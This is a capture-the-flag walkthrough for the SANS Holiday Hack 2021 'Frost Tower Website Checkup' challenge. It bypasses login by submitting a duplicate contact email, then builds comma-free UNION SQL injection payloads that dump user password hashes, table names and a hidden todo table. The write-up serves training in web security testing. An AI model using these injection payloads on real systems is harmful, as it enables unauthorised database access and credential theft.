# Objective 12 Frost Tower Website Checkup

Security professionals are often asked to review code for applications and websites and report the security problems they find. We have been asked to review a new site for Jack Frost Tower.

|  |  |
| --- | --- |
| A picture containing text  Description automatically generated | Text  Description automatically generated |

As always, there is a terminal to complete first.

## Terminal Elf Code Python

Python is probably the most common scripting language used by security professionals. Enjoy these Python coding challenges.

|  |  |
| --- | --- |
| A picture containing text, floor  Description automatically generated  Graphical user interface  Description automatically generated with medium confidence  A green screen with white text  Description automatically generated with medium confidence | Text  Description automatically generated |
| Text  Description automatically generated with medium confidence | Graphical user interface  Description automatically generated with medium confidence |

### Step 1 question

It is simple enough. Solve the game. I did not try to hack it, but maybe you can.

### Step 1 answer

Here is my code. Yours may be better.

|  |  |
| --- | --- |
| Text  Description automatically generated | Text  Description automatically generated |
| Text  Description automatically generated | Text  Description automatically generated |
| Text  Description automatically generated | Text  Description automatically generated |

## Hints after solving Elf Code Python

|  |  |
| --- | --- |
| A picture containing Excel  Description automatically generated  <https://www.npmjs.com/package/express-session> <https://github.com/mysqljs/mysql> | Text  Description automatically generated |

## Objective 12 Frost Tower Website Checkup

We have been given the code for the new website. <https://download.holidayhackchallenge.com/2021/frosttower-web.zip>

The site itself is available here.  
<https://staging.jackfrosttower.com/>

There are many ways to test the security of a website. The way we are using will take the shortest path to a solution for this website. Including all the possible attacks and rabbit holes in this lesson would make for a long lesson. Other sites will need other approaches.

### Step 1 question: Can you see it?

When you go to the website, there is not much to see. Can you find other pages (endpoints) by examining the code? The file that should get most of your attention is server.js. It is written in NodeJS, but you can puzzle out what it is doing without be able to write NodeJS.

### Step 1 answer

There are several endpoints in server.js., like /contact/, /detail/, /edit/, /dashboard/, and others. Unfortunately for us, they all redirect to a login page. Graphical user interface, text, application, chat or text message

Description automatically generated

### Step 2 question: Defeat the login page, or auth bypass

Before we can go any further, we must get past the login page, or bypass the authorization (auth bypass.) Each endpoint has either an app.get() or an app.post() function, or both. Most of them have an if statement at the beginning to verify the user is logged in.

What variable does the code check to verify user login?

### Step 2 answer

You will find if(session.uniqueID) at or near the beginning of most of the functions. That must be how the code verifies login.

The web browser does not have access to the session object, so we cannot manipulate it directly.

### Step 3 question: Is it always set properly?

Search server.js and see if you can find a place where session.uniqueID is set where it does not first ask for login credentials, or it is not protected by an if statement for session.uniqueID in front of it. You want to find instances of session.uniqueID = .

### Step 3 answer

At line 151 in server.js, inside app.post(‘/postcontact’, the object session.uniqueID is mistakenly set to email.

### Step 4 question: Can you make it happen?

What can you do from the browser to cause the vulnerable code to execute? You cannot just browse to <https://staging.jackfrosttower.com/login/postcontact/>. However, what does one usually do before one posts a contact?

### Step 4 answer

Go to <https://staging.jackfrosttower.com/contact> and you can enter contact information. Clicking the Save button will cause the browser to send the contact to the postcontact endpoint. If you look carefully, you will see that the vulnerable line executes after if (rowlength >= "1"), which means the database query shows the contact being entered already exists. If you enter the same contact email twice, you can cause this code to execute and make the code think you are logged in.

### Step 5 question: I’m in

|  |  |
| --- | --- |
| Enter the same contact information twice in a row. The email address needs to be the same both times. At the second entry you should see an error that you recognize (two lines after the vulnerable code on line 151.)  That tells you that you should have bypassed authorization.  Test to see if the site thinks you are logged in by going to one of the endpoints that previously redirected you to the login page. /dashboard/ would be a good test. | Graphical user interface, text, application  Description automatically generated |

### Step 5 answer

After entering the same contact twice, we see this. “Email Already Exists” is two lines after the vulnerable line.  
Graphical user interface, text, application, chat or text message, website

Description automatically generated

Now, when we browse to <https://staging.jackfrosttower.com/dashboard>, we gain access!

Graphical user interface, text, application

Description automatically generated

### Step 6 question: SQLI is a long and winding road

You can find queries to the MySQL database anywhere a function contains .query( ). There is a SQL Injection (SQLI) vulnerability any time a query contains user input that is not protected. The mysqljs function escape() will protect the code against SQLI. Also, the syntax SELECT \* FROM table WHERE id=?, variable uses the escape() function automatically.

Can you find any locations in server.js where unprotected user input is used in a query?

### Step 6 answer

No. I could not find any code where user input was allowed into a query without the escape() function blocking SQLI.

However, there is one place in the code where escape contains another function that may interfere with its operation.

### Step 7 question: Can another function interfere with escape()?

Can you find any locations that have escape(otherthing(user input))? If so, where is it in server.js, and can a browser force it to execute?

### Step 7 answer

Yes, in line 207 of server.js, we find  
query += tempCont.escape(m.raw(ids[i]));  
The string.raw() function in NodeJS is used to convert a string into raw bytes. Perhaps it will cause escape() not to work properly.

Text

Description automatically generated

The raw() function occurs on the /detail/ endpoint. The :id format tells NodeJS that it expects characters after /detail/ in the URL, like <https://staging.jackfrosttower.com/detail/10>, and the characters (10 in this case) in the id slot will be stored in the variable reqparam.

The next line,   
if (reqparam.indexOf(',') > 0)  
checks to see if id includes a comma. If so, the following line splits reqparam into an array of strings and removes the commas. This allows detail to request multiple items, as in detail/1,2  
Graphical user interface, application, Teams

Description automatically generated

To make that line execute, the browser needs to send a comma separated list in the URL  
<https://staging.jackfrosttower.com/detail/1,2>

### Step 8 question: Is it vulnerable?

We have a likely location to attack, but is it truly vulnerable? Test it. Enter a valid request (/detail/1,2 or something like that) and then enter characters that cause SQL problems. This is a good reference for SQL injection—you should read the entire page. <https://portswigger.net/web-security/sql-injection> You can try the old standby they list, /detail/1,2 ‘OR 1=1. Single quotes, semicolons, and other strange characters may work. Is the response different for valid input and SQLi characters?

Try the same thing on a part of the endpoint we think is not vulnerable, /detail/1. How does it react to valid and invalid input?

### Step 8 answer

Yes, it is vulnerable. It responds like this.

|  |  |
| --- | --- |
| Valid input | Invalid input 1,2’or 1=1 |
| Graphical user interface, text, application  Description automatically generated | Graphical user interface, text, application, email  Description automatically generated |

The portion of the code that handles input without commas (line 212) reacts this way. (It is using the detail/1 format without the comma)

|  |  |
| --- | --- |
| Valid | Invalid input 1’ or 1=1 |
| Graphical user interface, text, application, email  Description automatically generated | Graphical user interface, text, application, email  Description automatically generated |

Most likely, “Internal Server Error” means the code is vulnerable to SQLi.

### Step 9 question: What next?

Now the hard part begins. Since we have the code for the database, or at least some of it, in encontact\_db.sql, and the query from server.js we know the table we have been querying as well as its structure. Does the paragraph from the Portswigger link above titled, “Retrieving Hidden Data” apply to us, or do we need to do something else? If we need to do something else, what might it be?

### Step 9 answer:

The “Retrieving Hidden Data” paragraph discusses getting more data from the current table (uniquecontact) that the site is hiding from us. In this case we can already download the entire table, so we are going to have to query other tables. The paragraph “Retrieving data from other database tables” applies more directly to our case, so we will need the UNION technique. <https://portswigger.net/web-security/sql-injection/union-attacks> When you read this link (please do) you will see that the number of columns we query in the new table must match how many were in the original query.

### Step 10 question: How many columns?

How many columns were in the original query? It is better to look at the code than the site output.

### Step 10 answer

There were 7 columns. The query was SELECT \* from uniquecontact … and \* means all columns. The definition in encontacts\_db.sql shows us there were 7 columns. The code to display the results from server.js is in detail.ejs. Of the query results, it only displays full\_name, email, phone, country, and either date\_updated or date\_created.

|  |  |
| --- | --- |
| encontact.db | detail.ejs |
| Text  Description automatically generated | A screenshot of a computer  Description automatically generated with medium confidence |

### Step 11 question: What is the normal SQLi with a UNION? Does it work here?

Queries like this should have seven columns on both sides.  
detail/1,2 UNION 1, NULL, NULL, NULL, NULL, NULL, NULL-- or  
detail/1,2 UNION 1, 2, 3, 4, 5, 6, 7--

Note the -- (two dashes) at the end of each query. The -- is a comment that will stop any remaining SQL in the original query from getting in our way.

If you try them, they will fail. What is the problem? Look back in the code and see if you can locate the problem. It occurs between lines 203 and 208 in server.js

### Step 11 answer

The problem is in the split statement. When you split on commas, the commas are removed. When I tested the second query above on tutorialspoint.com, I got this. It doesn’t look anything like the original query.

Graphical user interface, text, application, email

Description automatically generated

### Step 12 question: UNION without commas?

Since some web application firewalls (WAFs) remove commas, other people have had this problem. Can you find a solution with your Google skills?

### Step 12 answer

The second result <https://blog.fireheart.in/a?ID=01550-bf20ddc3-4878-49cf-9c7a-7b09cc36609d> shows us how to solve this problem. This gives us three columns.

Text

Description automatically generated

We need seven columns, so create this query.

detail/1,2 union select \* from ((select 1)A join (select 2)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)

It looks strange, but we are just creating seven columns named A through G. Each one has its own select with a dummy entry. If it works, we can put those dummy queries to work later.

It works! We did not get useful information (yet), but now we have SQLi that works. Now we just need to replace one or more of our dummy queries (select 1 for example) with something that will give us information.

### Step 13 question: Pillage the database

Try replacing select 2 in our working boilerplate query with something to get information we can use. Remember that the HTML in detail.ejs does not print the first entry. You may want to look at the objective again to remind yourself what you are looking for. Use encontact\_db.sql to remind yourself what is available.

### Step 13 answer

Nothing about Jack’s TODO list comes back in our queries. These queries grab the contents of the user database. Note that we are not using the first select, select 1. It aligns with the id column in the original query, and detail.ejs does not print that column.

detail/1,2 union select \* from ((select 1)A join (select name from users)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)--

detail/1,2 union select \* from ((select 1)A join (select email from users)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)--

detail/1,2 union select \* from ((select 1)A join (select password from users)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G)--

|  |  |  |  |
| --- | --- | --- | --- |
| Name | Email | Password | User\_Status |
| Super Admin | root@localhost | $2b$10$JnLy8pq1fC/Kr/S.bn1NAOx13GzDavIOZJkuayDC7JSCNKvQUha3i | 1 |
| Admin | admin@localhost | $2b$10$FTkzq07Az57M.Q8jw7ehB..h5Vdc3Vw04zQzJIt294bgwg7.aV1GC | 2 |

Also note that the emails table does not yield much, either. After a placeholder and a couple of contact email addresses entered by other players, it is mostly full of junk from other players running sqlmap against the database.

### Step 14 question: Is there more?

Is there a table that is not in the configuration given by encontact\_db.sql? Look for ways to list the tables in a MySQL database. If you find another table, list its columns.

### Step 14 answer

This link is handy for listing the tables. <https://stackoverflow.com/questions/8334493/get-table-names-using-select-statement-in-mysql>

That gives us a query,  
<https://staging.jackfrosttower.com/detail/1,2> union select \* from ((select 1)A join (select table\_name from information\_schema.tables where TABLE\_SCHEMA='encontact')B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G) --

Graphical user interface, application, Teams

Description automatically generated

There is a TODO table. There was a clue about TODO in the objective description.

This link is helpful for finding the columns of the TODO table. <https://stackoverflow.com/questions/898688/how-to-get-database-structure-in-mysql-via-query>

A query for tables is  
<https://staging.jackfrosttower.com/detail/1,2> union select \* from ((select 1)A join (select column\_name from information\_schema.columns where table\_schema='encontact' and table\_name='todo')B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G) --

Graphical user interface, application, Teams

Description automatically generated

The columns are id, note, and completed.

### Step 15 question: The final step

Find the answer for the objective in the TODO table.

### Step 15 answer

First, a query for the note column.  
<https://staging.jackfrosttower.com/detail/1,2> union select \* from ((select 1)A join (select note from todo)B join (select 3)C join (select 4)D join (select 5)E join (select 6)F join (select 7)G) –

Graphical user interface, text, application

Description automatically generated

Jack’s entire list was:  
Buy up land all around Santa's Castle

Build bigger and more majestic tower next to Santa's

Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history

Dishearten Santa's elves and encourage defection to our cause

Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle

Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem

Force Santa to cancel Christmas

SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!

With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

The answer is “clerk”. Whew! This was a tough one.